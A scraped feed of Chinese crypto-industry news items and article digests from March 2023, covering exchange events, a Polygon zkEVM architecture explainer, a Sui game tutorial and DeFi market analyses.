    PANews 3月30日消息，比特币P2P市场Paxful首席执行官兼联合创始人Ray Youssef在推特上表示，其承诺将向在Celsius Earn中损失资金的Paxful用户进行退款。本周晚些时候，用户的Celsius资金将可以在其Paxful钱包中使用。 Youssef解释称：“去年，Celsius宣布他们申请破产，因此，用户无法在Paxful Earn中获取资金。Paxful和其他许多人一样，因为我们无法取回Celsius持有的资金而无法行动。另一个打击是，法院裁定Celsius Earn账户属于Celsius的破产财产，而不是其用户。我们对这一事很不舒服，比特币是一种财富保值工具，对许多人来说，这是他们未来所依赖的钱。为了得到用户信任，我们采取了该行动。”  ( 4 min )
    赵长鹏：已冻结代币上线过程中内部人士关联地址的200万美元
    PANews 3月30日消息，加密货币研究员FatMan发推称，链上数据链上数据揭示了币安代币上线过程中有关的内部人士“老鼠仓”活动。币安首席执行官赵长鹏对此回应称：“已经冻结与相关地址相关的200万美元（他们从未要求重新申领），一直在与潜在的泄漏等作斗争。”  ( 4 min )
    zkEVM系列第一篇：Polygon zkEVM的整体架构和交易执行流程
    Author: 0xhhh, Ethstorage（Twitter:@hhh69251498 ） Editor:Red One 3月27日，Polygon zkEVM主网测试版本正式上线，Vitalik 在上面完成了第一笔交易。 本文是Polygon zkEVM系列文章的第一篇，简要阐述了Polygon zkEVM的整体架构和交易执行流程，并且分析了Polygon zkEVM是如何实现计算扩容并同时继承以太坊的安全性的。 同时还会在接下来两篇文章里详细介绍Polygon zkEVM的zkEVM Bridge和zkEVM的设计细节，以及Polygon zkEVM接下来的去中心化Sequencer的路线图。 首先，我们需要明确Rollup的大概工作原理。Rollup的出现是为了给Ethereum实现计算扩容，具体的实现方法是将交易的执行外包给Rollup，然后将交易和交易执行后的状态(State)存储在 Ethereum 的合约内，由于技术路线的不同演变出了两种类型的 Rollup： Optimistic Rollup 乐观的认为发送到 Ethereum 的 Rollup 交易(Rollup Transaction)和对应的 Rollup 状态(Rollup State )都是正确的，任何人都可以通过提供欺诈证明(Fraud Proof)对还处于挑战期的Rollup State进行挑战(Challenge)。 Zero-knowledge Rollup ZK会为发送到 Ethereum 的 Rollup交易和对应的 Rollup 状态提供一个有效性证明(由以太坊上的合约验证，来证明 Rollup 的执行对应交易后的状态是正确的)。 参考以太坊官方定义： https://ethereum.org/en/developers/docs/scaling/#rollups Zero-knowledge Rollup 和 Optimistic Rollup 最大的区别就是由于验证状态有效性的不同方式导致达成 Finality 的时间不同； Optimistic Rollup 乐观的认为提交到 Ethereum 上的交易和状态都是正确的，所以存在7天的挑战期（达成Finality的时间是7天），期间任何人发现在 Ethereum 上的交易对应状态不正确都可以通过提交正确的状态进行挑战。 Zero-knowledge Rollup( zk-Rollup ) 达成 Finality 的时间，则取决于：交易对应的有效性证明( Validity Proof )提交到以太坊并且验证通过所花费的时间。目前可能在1个小时左右的Finality居多(因为需要考虑到Gas成本问题)。 接下来我们以一个简单的交易被确认流程来看看 Polygon zkEVM是怎么工作的，从而对整体协议有一个具体的理解，它的整个过程可以主要分为三个步骤: 1. Sequencer 将多个用户交易打包成 Batch 提交到L1的合约上； 2. Prover 为每笔交易生成有效性证明(Validity Proof)，并将多个交易的有效性证明聚合成一个有效性证明； 3. Aggregator 提交聚合了多个交易的有效性证明(Validity Proof) 到 L1 的合约中。 1 Sequencer 将用户交易打包成 Batch 提交到 L1 合约上. 1) 用户将交易发送给Sequencer，Sequencer会在本地按照收到交易的快慢顺序进行处理(FRFS)，当Sequencer在本地将交易执行成功后，如果用户相信Sequencer是诚实的，那么他可以认为这个时候的交易已经达成了Finality。这里需要注意，目前大多数Sequencer内部的Mempool(交易池)都是私有的，所以暂时可以获取的MEV是比较少的。 2) Sequencer 会将多笔交易打包进一个Batch里(目前是一个Batch里只包含一个交易) 然后在收集到多个Batches之后, 通过L1上的 PolygonZKEvm.sol的SequenceBatch()函数将多个Batches一起送到L1的交易Calldata上。 (需要注意这里一次性提交多个Batches是为了尽可能减少L1的Gas消耗) 3) 当PolygonZkEvm.sol 收到 Sequencer 提供的 Batches 后，它会依次在合约内计算每个Batch的哈希，然后在后一个Batch里记录前一个Batch的哈希，于是我们就得到了下图的Batch结构。 4) 每个Batch里的交易顺序也是确定的，所以当Batch的顺序确定之后，我们认为所有被包含在Batch提交到L1的 Polygon zkEVM合约的交易的顺序都被确定了。 以上实际过程也是L1充当Rollup DA层需要完成的工作(这个时候并没有完成任何状态检验或推进的工作)。 2. Aggregator 为多个Batch的交易生成 Validity Proof 1) 当Aggregator监听到L1的 PolyonZKEVM.sol 合约中已经有新的 Batch 被成功的提交之后，它会把这些 Batch 同步到自己的节点里，然后给 zkProver 发送这些交易。 2) zkProver 接收到这些交易之后会并行为每笔交易生成 Validity Proof，再将多个Batch包含的交易的 Validity Proof再聚合成一个有效性证明(Validity Proof)。 3) zkProver 将聚合多个交易的Validity Proof发送给 Aggregator。 3. Aggregator 提交聚合证明到 L1 的合约 Aggregator 会将这个有效性证明(Validity Proof)以及对应的这些 Batch 执行后的状态一起提交到 L1 的Polygon zkEvm.sol 合约内，通过调用以下方法： 合约内接下来会执行以下操作来验证状态转换是否正确。 当这一步在L1合约内执行成功时，这部分batch包含的所有交易也就真正达成了Finality（对应OP的7天挑战期结束）。 上文我们已经了解了Polygon zkEVM的整体流程, 可以回顾下Ethereum 为 Rollup 做了哪些工作: 第一步，Sequencer 将 Rollup 的交易收集起来打包成 Batch 之后，提交到L1的合约中。L1不仅仅提供了DA层的功能，实际上还完成了一部分交易排序的功能；当你把交易提交到Sequencer时，交易是没有真正被定序的，因为Sequencer有权力可以随便改变交易的顺序，但是当交易被包含在Batch里提交到L1合约上之后，任何人都没有权利再修改其中的交易顺序。 第二步，Aggregator 将Validity Proof 提到L1合约上来达成新的状态,Aggregator则是类似Proposer的角色，合约则类似Validator的角色；Aggregator 提供了一个Validity Proof来证明一个新的状态是正确的，并告诉Validator我提供的Validity Proof涉及哪些交易Batch，他们都存在了L1的哪个位置。 接着Validator从合约中提取对应的Batch，与Validity Proof结合在一起就可以验证状态转换的合法性了，如果验证成功实际上合约内也会更新到对应Validity Proof的新状态。 四、从模块化的角度结构 Smart Contract Rollup 如果从模块化的角度来看，Polygon zkEVM 属于Smart Contract Rollup 类型，我们可以尝试解构下它的各个模块，从 Delphi 给的图中， 我们也可以看出实际上 Polygon ZkEVM 作为 Smart Contrat Rollup的Consensus Layer，DA Layer 和 Settlement Layer其实都是耦合在PolygonZkEVM.sol合约中，并不能很好的区分。但是我们尝试着去解构各个模块: 数据可用层(Data Availability Layer): Rollup交易存放的地方，对于Polygon-zkEVM来说，当Sequencer调用SequenceBatch()方法的时候，实际上就包含了往DA层提交交易数据。 结算层(Settlement Layer): 具体指的是Rollup和L1之间的资金流动机制，具体指的是Polygon-zkEVM的官方桥(在下一篇文章会有详细介绍)。 共识层(Consensus Layer): 包含交易排序和如何确定下一个合法状态(分叉选择)，Sequencer 调用L1合约中的SequenceBatch()的时候完成了交易排序的工作，当Aggregator调用L1合约中的TustedVerifyBatches()的时候完成了确认下一个合法状态的工作。 执行层(Execution Layer): 执行交易并且得到新的世界状态，当用户向Sequencer提交交易，并且Sequencer执行完之后得到新状态的过程(所以我们往往说Rollup是计算扩容，因为L1把执行交易得出新状态的这个过程外包给了Rollup，同时Sequencer会通过Aggregator委托zkProver帮忙生成Validity Proof。 五、为什么说 Polygon-zkEVM 继承了L1的安全性 从上面介绍的整体流程上看，实际上Sequencer做了类似以太坊 Proposer的工作，提议了一批交易是有效交易，并且给出了这批交易执行后的新状态；而L1合约的验证逻辑，相当于所有L1的Validator都会在自己的以太坊客户端里执行一遍，实际上是所有的以太坊验证者充当了Rollup的验证者，因此我们认为 Polygon zkEVM 继承了以太坊的安全性。 从另外一个角度上看，因为Rollup的所有交易以及状态都存储在以太坊上，所以即便Polygon zkEVM 这个团队跑路了，任何人都还是有能力依托以太坊上存储的数据，恢复整个Rollup网络。 Rollup激励机制主要指的是如何让Sequencer和Aggregator有利可图，从而保持持续性的工作的？ 首先用户需要支付自己在Rollup上的交易手续费，这部分的手续费是采用ETH计价的，用Bridged ETH支付。 Sequencer 则需要支付这些包含Rollup交易的Batch上传到L1交易的Calldata上的成本(调用SequenceBatch(batches()的成本)，同时需要在上传Batch的同时支付一定的Matic到L1合约中，用于之后支付Aggregator为这些Batches提供Validity Proof的成本。 Aggregator 在调用trusted VerifyBatches 为L1合约内还没有被Finality的Batches提供Validity Proof的同时，也可以取出Sequencer提前支付在合约内的MATIC代币，作为提供Validity Proof的报酬。 Sequencer的收入 = Rollup所有交易的Gas费用 - 将Batches上传到L1花费的L1网络Gas费用 - 支付给Aggregator的证明费用(MATIC计价)。 Aggregator的收入 = Sequencer支付的MATIC报酬 - 提交到Validity Proof到 L1的Gas费用 - Validity Proof生成花费的硬件费用。 调整支付给Aggregator的证明费用，同时为了避免Sequencer因为无利可图罢工，提供了以下的机制来调整Sequencer支付给Aggregator 的证明费用。 合约中存在这样一个方法用来调整为Batch提供证明的费用: function _updateBatchFee(uint64 newLastVerifiedBatch) internal 它会更改合约中一个名为BatchFee的变量，而这个变量决定了Sequencer为每个Batch支付的MATIC代币数量。 更改机制如下: 合约中维护了这样一个变量VeryBatchTimeTarget ，代表每个Batch被Sequencer提交到L1之后期望在这个时间内被验证状态。 合约内会记录所有超过了VeryBatchTimeTarget之后还没有被验证状态的Batches, 并且将这些Batches的总数量记为DiffBatches。 于是当有Batches迟到的时候，会用以下公式来调整BatchFee: MultiplierBatchFee 是一个被限制在1000~1024范围的数，可以通过函数setMultiplierBatchFee() 由合约管理员更改： FunctionsetMultiplier BatchFee(uint16newMultiplierBatchFee) public onlyAdmin 需要注意这里的 采用MultiplierBatchFee 和10^3是为了实现3个小数点后的调整精度。 同理假如Batches提前了也会触发相应的batchFee调整机制:DiffBatches 表示提前验证状态的Batches的数量。 在这篇文章里我们梳理了Polygon zkEVM的核心机制，并分析了它实现以太坊计算扩容的可行性。有了一个整体的大纲后，在接下来的文章里我们会深入到协议内部，依次解析zkEVM Bridge的设计细节以及Sequencer的去中心化路线，zkProver的实现以及zkEVM的设计原理。 ——待续——  ( 6 min )
    OKX：将把FTX和Alameda相关的1.57亿美元冻结资产移交给债权人
    PANews 3月30日消息，据美通社报道，欧易OKX宣布将向债权人移交约1.57亿美元的与FTX和Alameda相关的冻结资产，以回应今天在FTX破产程序中提交的动议。OKX表示，在2022年11月FTX崩盘前后，OKX根据执法机关要求，发起调查并发现了与FTX和Alameda Research相关的资产和账户，随即采取行动冻结了这些账户和资产。 此外，OKX表示，将继续与FTX债权人和执法人员合作，希望这些资产最终能通过破产程序返还给FTX用户。  ( 4 min )
    Coinbase首席法务官：尽管美国监管存在问题，但公司不会离开美国市场
    PANews 3月30日消息，据CoinDesk报道， Coinbase首席法务官Paul Grewal在采访时谈到了美国商品期货交易委员会(CFTC)对币安的诉讼。Grewal称：“CFTC已经付出了巨大努力来了解币安发生了什么，并在发现问题时采取行动。有很多问题需要解决。无论是CFTC还是SEC对数字资产拥有管辖权，只会给试图在美国运营的加密行业增加更多的困惑。这种情况突显出监管机构似乎无法就加密货币的监管框架达成一致。我们需要合理的规则来合理地定义这些术语，并为加密经济中的每个人，包括投资者和消费者，提供确定性和清晰度来做出决定。”Grewal表示，CFTC的指控最引人注目的地方在于，它“特别指出了一些数字资产是大宗商品”，且这些资产正被SEC和其他机构“贴上或暗示为证券”。 此外，Grewal称，“我们是一家美国公司”，总部位于加州，在特拉华州注册，在纽约获得比特币许可证，“我们哪儿也不去”，这与没有母国的币安的情况不同。  ( 4 min )
    Sui开发教学：如何在SUI上为角色扮演游戏创建角色和道具？
    原文：《RPG Building Basics - Encode Club Sui Series #5》by SUI Foundation 编译：SUI World Sui Foundation 与 Encode Club 合作提供了系列以开发者为中心的教育视频，本系列视频共计六则，范围从 Sui 的基础知识到构建智能合约和使用 Sui Move 中的对象的教程。往期视频参照SUI World 推文。 本教程将给我们展示如何为角色扮演游戏 (RPG) 创建角色和道具，以及如何让它们互动，千万不要错过！详情点击「阅读原文」查看视频。 学习亮点 由于 Sui Move 的以对象为中心的编程模型及其可扩展性，Sui 有望成为第一个真正将 web2 体验交付到 web3 的区块链，这种体验包括游戏，游戏的编程本质上都很复杂，并且需要强大的基础设施来确保玩家的无缝体验。得益于Sui Move 的以对象为中心的编程模型及其可扩展性，Sui 能够应对挑战。 让我们看一下 Sui Move 中链上 RPG 的编码示例。以下示例改编自 Sam Blackshear 的 hero.move 代码。 https://github.com/MystenLabs/sui/blob/main/sui_programmability/examples/games/sources/hero.move?ref=blog.suifoundation.org 上面的代码定义了我们的可玩角色。从它的领域可以看出，这个英雄可以与角色扮演游戏中的其他角色相媲美，它具有生命值 (HP)、经验和库存。 上面的代码展示了我们英雄的剑，请注意，这把剑具有钥匙和存储能力。回顾一下本系列之前的课程，key 意味着它是一种可拥有的资产，可以存在于顶级存储中。此类别中的 Move 对象也可以从外部 API 访问，从而创造了 Sui 在多个游戏中使用项目的独特可能性。而存储意味着这个对象是可以自由包装和转移的。 上面，我们在游戏中定义了野猪、不可玩角色 (NPC) 或敌人，与该类型的其他游戏类似，我们可以为我们的英雄创建 NPC 来战斗和获得经验，或者购买物品和接受任务。 The Action 上面代码中显示的动作描述了slay函数。在高层次上，这个函数首先检查以确保Hero和Boar都属于同一个游戏实例。然后英雄和野猪之间的决斗发生，检查以确保英雄的HP不能达到零。决斗结束后，英雄获得与野猪成比例的经验值，英雄的剑的力量增加1(如果英雄使用剑)。最后，该函数发出一个事件BoarSlayEvent。Sui Move中的事件让索引器跟踪链上的动作，这是实现普遍认可的对象状态的重要手段。 上面的代码示例简要摘录了 Sam 的 hero.move 代码。此代码为 Sui 上的游戏开发者提供了宝贵的示例，并且由于它是开源的，请随时 Fork 并构建您自己的游戏！  ( 4 min )
    Binance.US发言人称预计在24小时内恢复ACH存取款服务
    PANews 3月30日消息，据The Information报道，Binance.US发言人表示，Binance.US预计将在24小时内恢复Signature Bank的自动清算中心（ACH）存取款服务。根据Binance.US状态页面信息，Binance.US从3月23日报告Signature Bridge Bank的ACH存取款暂时无法使用，此状态目前尚未更新。 此前消息，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。  ( 4 min )
    Magic Eden将于4月6日推出测试版以太坊NFT市场ETH Genesis
    PANews 3月30日消息，据官方博客，NFT市场Magic Eden宣布将于4月6日推出其测试版以太坊NFT市场ETH Genesis。这也意味着，继Solana、Polygon、Bitcoin之后，以太坊成为了Magic Eden所覆盖的第四个生态。  ( 4 min )
    公链Sui推出永久测试网，可在主网启动后继续运行
    PANews 3月30日消息，据官方博客，公链项目Sui Network宣布推出永久测试网，这是一个长期运行、去中心化和无需许可的测试网，与过去的Waves 1和Waves 2测试网不同，这个新的测试网即使在主网启动后也会继续运行。 该测试网有多个功能更新：1.动态验证者集：满足足够权益要求的候选验证者可以在epoch边界加入网络，活跃验证者可以在epoch边界离开网络。2.支持协议软件和Sui框架升级：测试网不会在每次软件更新时被删除，在任何计划中的软件更新或测试网上的数据删除之前，社区将得到适当的通知。3.可从数据库快照恢复全节点：节点操作人员可以利用检查点快速启动全节点，而不是等待全节点同步。4.地址和签名更新账户地址、对象ID和交易ID已从20字节升级到32字节，以防止哈希冲突；此外，Sui的默认哈希函数现在是Blake2b而不是SHA3，因为它的性能要高得多；为了支持广泛的交易规模，签名现在应用于哈希摘要而不是序列化的BCS数据，这使得Sui能够与硬件钱包兼容，硬件钱包的签名者api通常允许有限大小的输入。 此前3月22日消息，Sui Network表示，主网将于第二季度推出，尚无正式的空投计划。 相关阅读：Sui Network发布的永久测试网，在生态中扮演什么角色？  ( 4 min )
    ERC-4337加上OP Stack，Opclave如何让Apple设备秒变硬件钱包？
    原文：《新项目 | Opclave：将Apple设备变成硬件钱包》 作者：十文 对于刚进入 Web3 领域的用户来说，创建钱包或许是他们遇到的第一层障碍。传统的 12 位助记词对于新人用户来说过于繁琐和危险，作为备份和恢复功能也过于复杂，可说是毫无用户体验优势。目前，无私钥以及无助记词被认为是将来 Web3 钱包的主流趋势，但这背后需要更为安全的开发技术，这也是该领域面临的主要挑战之一。 近期，一个入围 ETHGlobal 黑客松的项目 Opclave 引起了我们的注意。它允许用户通过 Apple 的 Face-ID 和 Touch-ID 在 OP Stack Rollup 上发起交易。 Opclave 由伊斯坦布尔大学 İTÜ Blockchain 俱乐部团队开发，开发者共 5 人，其中之一为 0xDogan.eth，是 Connext Network 的贡献者之一。该团队创建了一个智能合约钱包，该智能合约钱包允许用户创建并使用 Apple Face-ID 与 Touch-ID 的非托管钱包，而无需助记词。其核心理念是将 Apple 设备、iPhone、Macbook 变成硬件钱包，从可信执行环境 Apple Secure Enclave 中发起交易，以确保安全。这种具有生物识别功能的钱包不仅简化了使用钱包的流程，还将 Web2 的交易体验迁移至 Web3，能够提高用户重复使用的次数，并吸引更多的忠实用户。 技术上，Opclave 通过三个解决方案来实现生物识别功能： 1.OP Stack OP Stack 是一套标准化的开源模块，可以组装成一个定制的链——Optimism 称之为「OP 链」-- 以服务于任何特定的区块链用例。OP Stack 对应用链开发人员来说最重要的好处之一是可以简单地配置汇总，以及无需加密经济安全性即可扩展特定于应用程序链的可用性。 使用 OP Stack ，Opclave 可以将 Apple 签名实施到区块链上，让 Apple 设备变成硬件钱包。 2.帐户抽象 Opclave 具有与 ERC-4337 帐户抽象标准兼容的智能合约钱包的优势，可以为用户提供简化使用帐户的能力。例如： 3.Apple Secure Enclave 新一代 Apple 设备具有称为“Secure Enclave”的硬件安全组件，能够存储密钥或签名数据。Apple Secure Enclave 是在 Apple 的芯片系统中实施的子系统，与主处理器隔离，为用户的重要数据创建隔离的安全区域，其主要用例是即使主处理器受到威胁也能保留用户数据。使用 Apple Secure Enclave 的签名机制，可以直接对交易进行签名。然后通过 Face-Id 或 Touch-Id 的安全步骤，在区块链和智能合约中验证这些签名。以实现使用 Face-Id 或 Touch-Id 来发起交易的功能。 未来，Opclave 希望实现更多帐户抽象功能，例如 2FA、电子邮件登录等。此外，Opclave 还会在未来支持更多其他的链，例如 Starknet、zkSync 和 Fuel。  ( 5 min )

  • Open

    观点：代币化 RWA 可能是 DeFi 的下一个引擎
    Chainfeeds 导读： IOBC Capital 研究经理 0xCousin 撰文从现实世界资产（RWA）的基本概念和其在 DeFi 中的常见应用形式出发，以 MakerDAO 和 Centrifuge 作为案例进行详细解析，最后对 RWA 的机会和风险提出见解，认为代币化的 RWA 可能是 DeFi 的下一个引擎。 文章来源： https://mp.weixin.qq.com/s/ZVWIRsCllVIieMZQi4Q2ag 文章作者： 0xCousin 观点： 0xCousin：RWA 在 DeFi 中的常见应用形式：1）稳定币：发行公司通过维持经过审计的美元资产储备，铸造稳定币供区块链及 DeFi 协议使用；2）合成资产：如通过合成资产的形式将股票、商品等以挂钩衍生品的形式进行链上交易。目前该领域发展最好的是 Synthetix，2021 年牛市巅峰期其协议中锁定了价值超 30 亿美元的资产；3）借贷协议：借款人以 RWA 作为抵押品进行借贷。RWA 为 DeFi 借贷协议的可持续发展和营收规模带来了非常重要的积极作用。 内容来源 0xCousin：RWA 的信任假设：由于 Tokenization 的 RWA 毕竟是在链下，无法通过智能合约强制执行清算处理，还依赖于传统金融机构背书，这些 RWA 的信任属性可能永远无法与 Crypto Native Asset 达到同等级别。同时，由于 RWA 信任假设的存在，完全无许可的 DeFi 协议也很难支持 RWA，所以目前的 RWA Tokenization 项目在 RWA 资产处理上一般还是有中心化主体的作用和影响。 内容来源 0xCousin：RWA 的潜在机会：STO（Security Token Offerings）历来被视为 RWA 的有限实施。由于很多 STO 通常是仅在许可平台上可用的利基证券，因此它们的采用尚未达到与公链上的 RWA 相同的水平。目前 STO 是区块链行业里为数不多被监管认可的资产代币化方案，STO 在拥抱监管方面的发展路径，可能 RWA 也可以尝试探索。 内容来源  ( 32 min )
    【英文】Noble：为原生资产发行而设计的 Cosmos Appchain
    Chainfeeds 导读： Noble Appchain 于 3 月 27 日上线，目标是成为「全球首屈一指的互操作性数字资产发行中心」。加密资产和 RWA 都可以在其上发行，是有史以来第一个为广义资产发行而设计的基础设施。加密研究员 Sooper 从 Noble 可以解决的问题、目标愿景、工作机制、代币经济模型等方面对其进行了全面解读。 文章来源： https://mirror.xyz/0x524f1E4B8E21558B3c42650f39E65d2041466F02/pj1_sTjNp5kkT0NluubyRDqivXrCJWn1UgFAunLf9qY 文章作者： Sooper 观点： Sooper：Noble 是专为 Cosmos 生态系统中原生资产发行而设计的特定应用区块链（Appchain），意味着 Cosmos 可以直接在 Noble Appchain 上铸造和销毁资产，不再被迫依赖代币桥将非原生资产引入其生态系统，彻底改变了 Cosmos 对桥接流动性的依赖。发行商可使用 Osmosis 的 TokenFactory 框架轻松地在 Noble 上部署其代币，且可在 IBC 生态系统中无缝转移。【原文为英文】 内容来源 Sooper：Noble 的基础设施为资产发行商提供了完全控制权，Circle 和 Tether 等公司可以保持其合规模式。Noble 使用 Cosmos SDK 构建，支持 IBC，可连接到生态中其他 IBC Appchain，其搭建的「网关」将大大提高 IBC 原生，特别是稳定币的流动性。该网络使用「数据包转发」中间件，允许单笔交易 IBC 转移至任何 Appchain，用户不需要跨多个 Appchain 进行交易，极大改善了 IBC 转移的用户体验。【原文为英文】 内容来源 Sooper：Noble 计划在 Interchain Security 经过时间测试后采用，此前将使用权威证明（PoA）共识作为替代方案，为此已为 PoA 验证器集选择多个受信任的 Hub 验证器，行为不端的验证器将从 Noble 验证器集中永久删除。Gas 费可使用任何 Cosmos 资产，包括在 Noble 上发行的资产。由于 USDC 将率先推出，因此在更多资产部署到 Noble 之前，它将成为主要的 Gas 代币；新资产将通过 5/7 多重签名投票添加到链中。【原文为英文】 内容来源  ( 12 min )
    LD Capital：LSD 赛道长坡厚雪，稳定性与高增速贯穿整年
    Chainfeeds 导读： LD Capital 撰文从上海升级后行业整体成长空间、 4 种质押解决方案与不同 LSD 协议比选、DVT 赛道的定位和 LSD 资产对链上其他生态的影响 4 部分概览 LSD 赛道全景。 文章来源： https://ld-capital.medium.com/trend-research-by-ld-capital-lsd赛道长坡厚雪-稳定性与高增速贯穿整年-7f14a5355540 文章作者： LD Capital 观点： LD Capital：以太坊质押率的提升将带来 LSD 赛道整体协议费用上涨，长期来看 LSD 赛道的戴维斯双击仍未结束。当前以太坊质押率 14.56%，由于其他 POS 公链质押率大多超过 60%，故而对以太坊质押率的提升有较大的增长预期。从 P/F 估值角度来看，当前 LSD 赛道龙头标的 LDO 3.89 倍，相较老牌 Defi 协议 UNI 7.12 倍、AAVV 10.35 倍等仍有较大提升空间。 内容来源 LD Capital：上海升级之后，早期节点的退出与用户质押意愿的增强将为 LSD 协议的相互竞争提供条件。LSD 协议的相对市场份额或将发生变化，中期关注赛道龙头 Lido 与以 Frax 为代表的高收益率 LSD 协议，短期关注 Rocket pool Atlas 升级。 内容来源 LD Capital：目前以 SSV、Obol、Diva 为代表的 DVT 产品是以太坊质押的重要基础设施。DVT 产品旨在保证以太坊验证出块稳定性的同时提升网络去中心化程度，可降低节点运营成本，减少安全风险。SSV 的发展重在运营商网络的搭建，其代币作为网络支付手段与治理凭证捕获协议价值；Obol 的发展重在中间件适配性，而 Diva 的目标在于结合 LSD 与 DVT，打造一站式产品，目前处于开发早期。 内容来源 LD Capital：以太坊质押或将催生千亿规模的 lsdETH，在重构或冲击传统 Defi 协议收入结构的同时，围绕这一新资产类别构建的二层产品或将成为市场中新的 α。lsdETH/ETH 的流动性构建或将为 Curve、Balancer 等 DEX 带来新的业务增量；但以太坊质押收益可视为链上币本位的无风险收益率，它的出现将提高链上流动性成本，对存款池类型的借贷产品形成利空，CDP 模式借贷受影响相对较小。未来围绕这一生息资产构建的再质押、收益聚合、本息分离、杠杆协议等产品都将受益于底层资产的庞大规模。 内容来源  ( 4 min )
    去中心化以太坊质押基础设施 ssv.network 推出公共测试网 Jato
    去中心化以太坊质押基础设施 ssv.network 推出公共测试网 Jato 去中心化以太坊质押基础设施 ssv.network 宣布推出最新版本的公共测试网 Jato，朝去中心化以太坊 PoS 共识愿景迈出最后一步。 Jato 的主要改进包括：验证者链上注册 Gas 成本优化、改进验证者账户管理、增加运行验证者节点数量等。 此外，ssv.network 称，测试网 Shifu 将逐步关闭。主网则将在智能合约安全审计、性能改进、为 Jato 实施反馈和建议以及上线候选版本等几个步骤完成后发布。 内容来源  ( 14 min )
    【英文长推】dHEDGE 正式收购 mStable：回顾第一笔公开链上并购交易
    Chainfeeds 导读： mStable 战略负责人 0xloth 发文回顾 mStable 自 2022 年底面临挑战后的应对方案以及 dHEDGE 收购 mStable 的全过程，并对双方未来合作提出展望。 文章来源： https://twitter.com/0xloth/status/1640742058229891074 文章作者： 0xloth 观点： 0xloth：2022 年底，mStable 面临着原生代币 MTA 贬值和跑道缩短导致的重大挑战，促使社区成员和利益相关者提出关闭或收购方案，mStable 开放六周时间考虑未来方向。在此期间，mStable Builder subDAO（mStable 核心运营单位）将重点转移到促进并购谈判，帮助制定治理建议并准备最后的关闭方案，与 30 多个团队进行了沟通，领导了完整的并购流程，还充实了产品日落计划和财务资产战略，以防并购失败。【原文为英文】 内容来源 0xloth：六周时间结束时，四份并购提案被提交至论坛，分别来自 Idle DAO、Origin Protocol、Spool 和 dHEDGE。这四份提案在国库估值、溢价、归属条款、产品愿景过渡、团队迁移规模、赎回功能等方面有很大不同。按照 MIP 29 的规定，在其基础上增加了关闭程序，为 MTA 持有者提供了关于 mStable 未来的最大选择权。95.9% 的 mStable 社区投票支持 dHEDGE，为成功和迅速的并购奠定了基础。【原文为英文】 内容来源 0xloth：此次收购也是对 mStable 的创新堆栈（mUSD 稳定币和 ERC-4626 驱动的 Metavaults 基础设施）的验证，突出了其为 DeFi 用户带来巨大价值的潜力。通过与 dHEDGE 联手，mStable 将能够减轻原始结构性风险，为增长和成功开辟新道路。更广泛地说，这一并购过程展示了 DeFi 项目的弹性和适应性，证明了即使在熊市面对重大挑战，合作也可以推动成功。未来，mStable 和 dHEDGE 将继续合作，推进 DeFi 生态系统，为用户和利益相关者提供尖端解决方案和价值。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析 Immutable zkEVM：使用 zk 技术构建 EVM 兼容游戏
    Chainfeeds 导读： 借助 Polygon 和 Immutable 两个巨头合作推出的 Immutable zkEVM，Web3 游戏可以在 zk 技术的帮助下构建 EVM 兼容游戏，这大大丰富了 Web3 游戏的未来。加密研究员 Salazar 发推阐述 Web3 游戏的潜力，并对 Immutable zkEVM 的优势进行分析。 文章来源： https://twitter.com/0xSalazar/status/1641039014441435139 文章作者： Salazar 观点： Salazar：据 DappRadar 数据，Web3 游戏占所有 dapp 活动的 49%，平均每天有 115 万个活跃钱包和 74 亿笔交易。Coda Labs 的一项调查显示，75% 的游戏开发者希望在未来从事 web3 游戏。随着 Polygon zkEVM 上线和 Immutable zkEVM 在未来几个月推出，我们可以期待看到技术创新解锁 web3 游戏中未触及的领域，如多人游戏。【原文为英文】 内容来源 Salazar：Immutable zkEVM 是一个用于游戏的 EVM zk-rollup，允许开发者使用和以太坊上相同的代码和工具，但具有更高的吞吐量和更低的费用。这为开发者提供了更高的可定制性和灵活性，以构建具有自定义智能合约、丰富经济和链上功能的游戏。开发者可以为主流玩家建立无摩擦和安全的体验，同时通过全套 Immutable 产品和经过审计的智能合约模板最大化对其资产的需求。【原文为英文】 内容来源 Salazar：Immutable zkEVM 利用开源以太坊智能合约库，轻松地将新工具和功能整合到游戏中，而无需承担单一生态系统或解决方案的风险。利用 Immutable zkEVM，开发者可以构建他们想要的任何东西，包括 NFT 金融化用例、游戏内机制、随机化等等。【原文为英文】 内容来源  ( 2 min )
    香港加密基金 ProDigital Future Fund 拟筹集 1 亿美元，以投资数字资产初创公司
    香港加密基金 ProDigital Future Fund 拟筹集 1 亿美元，以投资数字资产初创公司 据彭博社报道，香港加密基金 ProDigital Future Fund 计划于今年筹集 1 亿美元用于投资数字资产初创公司。该基金由亚洲私募股权公司 SAIF Partners 风险合伙人 Ben Ng 和长期科技投资者 Curt Shi 领导，已获得至少 3000 万美元资金承诺。参与首轮资金募集的包括 Sunwah Kingsway Capital Holdings Ltd. 和 Golin International Group Ltd.。 截至目前，该基金已投资六个数字资产项目，包括总部位于香港的元宇宙公司 GigaSpace 和总部位于澳大利亚的数字体育俱乐部 One Future Football。 内容来源  ( 2 min )
    【英文长推】Kwenta 交易费用创历史新高，一文探究其背后原因
    Chainfeeds 导读： 去中心化衍生品平台 Kwenta 的日交易费用在前几天达到了历史新高约 37 万美元。加密研究员 vanillacream.eth 撰文对 Synthetix V2 版本如何推动 Kwenta 交易量上涨进行了分析解读。 文章来源： https://twitter.com/0xvanillacream/status/1641077824462393345 文章作者： vanillacream.eth 观点： vanillacream.eth：Kwenta 是一个由 Synthetix 提供支持的去中心化衍生品交易平台，交易者在该平台上可以针对 Synthetix 债务池进行交易。 Synthetix 推出 V2 版本后，通过新的链外预言机系统和调整后的资金利率机制改善了资产兼容性和执行费用，这也推动了 Kwenta 上的交易量上涨。【原文为英文】 内容来源 vanillacream.eth：Synthetix V2 主要由两个重大更新，一个新的收费模式和一个更快的预言机。V2 中的资金费用随着时间的推移进行动态调整以平衡空头和多头，并确保交易者根据市场需求和供应公平支付或获得资金。Synthetix V2 还引入了 Pyth Network 预言机，优势包括更实时的价格反馈及消除了运行和套利的机会。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻 | 非托管利率互换做市商 Voltz：如何将 Uniswap V3 的集中流动性引入利率互换赛道？
